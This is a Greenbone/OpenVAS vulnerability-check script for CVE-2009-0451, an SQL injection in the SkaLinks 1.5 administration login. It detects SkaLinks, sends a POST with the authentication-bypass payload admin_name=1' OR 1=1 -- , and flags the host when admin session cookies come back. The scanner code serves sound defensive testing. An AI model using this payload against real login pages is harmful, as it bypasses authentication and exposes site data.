SkaLinks Administration Login SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100052");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-0451");
  script_name("SkaLinks Administration Login SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"SkaLinks is prone to an SQL-injection vulnerability because it fails
 to sufficiently sanitize user-supplied data before using it in an
 SQL query.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
 application, access or modify data, or exploit latent
 vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"SkaLinks 1.5 is vulnerable, other versions may also be affected.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/33546");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))exit(0);

foreach dir( make_list_unique( "/dir", "/skalinks", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = string(dir, "/admin/index.php");
  buf = http_get_cache(item:url, port:port);
  if( ! buf ) continue;

  if( egrep(pattern: ".*Powered by <a [^>]+>SkaLinks.*", string: buf) ) {

    host = http_host_name( port:port );

    variables = string("admin_name=1%27+OR+1%3D1+--+&admin_password=x&Login=Login");
    url = string(dir + "/admin/index.php");

    req = string(
      "POST ", url, " HTTP/1.0\r\n",
      "Referer: ","http://", host, url, "\r\n",
      "Host: ", host, "\r\n",
      "Content-Type: application/x-www-form-urlencoded\r\n",
      "Content-Length: ", strlen(variables),
      "\r\n\r\n",
      variables );
    res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
    if( res == NULL )continue;

    if( egrep(pattern: "^Set-Cookie: adminname=.*", string: res) &&
        egrep(pattern: "^Set-Cookie: pwd=", string: res) &&
        egrep(pattern: "^Location: http://.*/admin/", string: res) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );